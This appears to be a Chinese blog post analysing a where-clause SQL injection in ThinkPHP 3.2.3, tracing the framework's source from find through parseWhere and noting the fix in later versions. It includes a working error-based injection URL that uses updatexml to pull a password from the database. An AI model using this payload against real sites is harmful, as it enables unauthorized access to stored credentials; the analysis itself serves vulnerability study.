zoukankan      html  css  js  c++  java
  • ThinkPHP3.2.3框架where注入

    环境搭建

    直接在IndexController.class.php中创建一个demo

    public function index(){
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
    

    数据库配置:

    <?php
    return array(
        //'配置项'=>'配置值'
        'DB_TYPE'           =>  'mysql',
        'DB_HOST'           =>  'localhost',
        'DB_NAME'           =>  'thinkphp',
        'DB_USER'           =>  'root',
        'DB_PWD'            =>  'root',
        'DB_PORT'           =>  '3306',
        'DB_FIELDS_CACHE'   =>  true,
        'SHOW_PAGE_TRACE'   =>  true,
    );
    

    漏洞分析

    payload:

    http://127.0.0.1/thinkphp32/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)%23
    

    image-20201014185048005

    I方法就不用多说了,htmlspecialchars和think_filter过滤处理之后返回,连常见的updataxml这种危险的报错注入函数都没有过滤。

    接下来直接跟进find函数:

    /**
     * 查询数据
     * @access public
     * @param mixed $options 表达式参数
     * @return mixed
     */
    public function find($options=array()) {
        if(is_numeric($options) || is_string($options)) {
            $where[$this->getPk()]  =   $options;
            $options                =   array();
            $options['where']       =   $where;
        }
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);
        // 判断查询缓存
        if(isset($options['cache'])){
            $cache  =   $options['cache'];
            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
            $data   =   S($key,'',$cache);
            if(false !== $data){
                $this->data     =   $data;
                return $data;
            }
        }
        $resultSet          =   $this->db->select($options);
        if(false === $resultSet) {
            return false;
        }
        if(empty($resultSet)) {// 查询结果为空
            return null;
        }
        if(is_string($resultSet)){
            return $resultSet;
        }
    
        // 读取数据后的处理
        $data   =   $this->_read_data($resultSet[0]);
        $this->_after_find($data,$options);
        if(!empty($this->options['result'])) {
            return $this->returnResult($data,$this->options['result']);
        }
        $this->data     =   $data;
        if(isset($cache)){
            S($key,$data,$cache);
        }
        return $this->data;
    }
    

    首先进入到$this->_parseOptions函数:

    /**
    * 分析表达式
    * @access protected
    * @param array $options 表达式参数
    * @return array
    */
    protected function _parseOptions($options=array()) {
    if(is_array($options))
    $options =  array_merge($this->options,$options);
    
    if(!isset($options['table'])){
    // 自动获取表名
    $options['table']   =   $this->getTableName();
    $fields             =   $this->fields;
    }else{
    // 指定数据表 则重新获取字段列表 但不支持类型检测
    $fields             =   $this->getDbFields();
    }
    
    // 数据表别名
    if(!empty($options['alias'])) {
    $options['table']  .=   ' '.$options['alias'];
    }
    // 记录操作的模型名称
    $options['model']       =   $this->name;
    
    // 字段类型验证
    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key=>$val){
    $key            =   trim($key);
    if(in_array($key,$fields,true)){
    if(is_scalar($val)) {
    $this->_parseType($options['where'],$key);
    }
    }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
    if(!empty($this->options['strict'])){
    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
    } 
    unset($options['where'][$key]);
    }
    }
    }
    // 查询过后清空sql表达式组装 避免影响下次查询
    $this->options  =   array();
    // 表达式过滤
    $this->_options_filter($options);
    return $options;
    }
    

    其作用是分析表达式,并且在最后对字段类型进行验证时,正常会进入到$this->_parseType函数,并且对类型进行转换,之后进行参数化。

    /**
     * 数据类型检测
     * @access protected
     * @param mixed $data 数据
     * @param string $key 字段名
     * @return void
     */
    protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM类型优先检测
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }
    

    但是当我们在_parseOptions传入时,where为字符串,故不会进入字段类型验证的判断,也不会进入到_parseType中,绕过了类型的转换。

    至此我们回溯分析,可以看到find函数在刚进入的位置:

    image-20201014193720954

    我们直接传入数组,false了if(is_numeric($options) || is_string($options))的判断,从而绕过了对where的初始化。然后继续回到下一个关键函数select的分析:

    image-20201014204043474

    继续跟入$this->buildSelectSql函数:

    image-20201014204243980

    接下来继续进入$this->parseSql函数:

    image-20201014204326358

    继续分析parseWhere函数:

    /**
         * where分析
         * @access protected
         * @param mixed $where
         * @return string
         */
        protected function parseWhere($where) {
            $whereStr = '';
            if(is_string($where)) {
                // 直接使用字符串条件
                $whereStr = $where;
            }else{ // 使用数组表达式
                $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
                if(in_array($operate,array('AND','OR','XOR'))){
                    // 定义逻辑运算规则 例如 OR XOR AND NOT
                    $operate    =   ' '.$operate.' ';
                    unset($where['_logic']);
                }else{
                    // 默认进行 AND 运算
                    $operate    =   ' AND ';
                }
                foreach ($where as $key=>$val){
                    if(is_numeric($key)){
                        $key  = '_complex';
                    }
                    if(0===strpos($key,'_')) {
                        // 解析特殊条件表达式
                        $whereStr   .= $this->parseThinkWhere($key,$val);
                    }else{
                        // 查询字段的安全过滤
                        // if(!preg_match('/^[A-Z_|&-.a-z0-9()\,]+$/',trim($key))){
                        //     E(L('_EXPRESS_ERROR_').':'.$key);
                        // }
                        // 多条件支持
                        $multi  = is_array($val) &&  isset($val['_multi']);
                        $key    = trim($key);
                        if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                            $array =  explode('|',$key);
                            $str   =  array();
                            foreach ($array as $m=>$k){
                                $v =  $multi?$val[$m]:$val;
                                $str[]   = $this->parseWhereItem($this->parseKey($k),$v);
                            }
                            $whereStr .= '( '.implode(' OR ',$str).' )';
                        }elseif(strpos($key,'&')){
                            $array =  explode('&',$key);
                            $str   =  array();
                            foreach ($array as $m=>$k){
                                $v =  $multi?$val[$m]:$val;
                                $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                            }
                            $whereStr .= '( '.implode(' AND ',$str).' )';
                        }else{
                            $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                        }
                    }
                    $whereStr .= $operate;
                }
                $whereStr = substr($whereStr,0,-strlen($operate));
            }
            return empty($whereStr)?'':' WHERE '.$whereStr;
        }
    

    在刚进入时进行字符串条件判断,然后直接到最后,直接进行了字符串的拼接:

    image-20201014205037959

    最后返回:

    image-20201014205132630

    并且直接在select中进行了$this->query执行,导致了报错注入。

    修复

    image-20201014205259880

    新的版本中将$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

    参考

    1. ThinkPHP漏洞分析集合
    2. 代码审计之Thinkphp3.2.3
  • 相关阅读:
    UE4 WCF RestFul 服务器 读取JSON 数据并解析 简单实例
    Android aidl Binder框架浅析
    AIDL
    android 五种存储方式
    Android进程间通信机制
    Service全面总结
    Android平台中关于音频播放
    Android广播机制
    Cursor,CursorAdapter中的观察者模式解析
    ContentProvider和Uri详解
  • 原文地址:https://www.cnblogs.com/lktop/p/13824832.html
Copyright © 2011-2022 走看看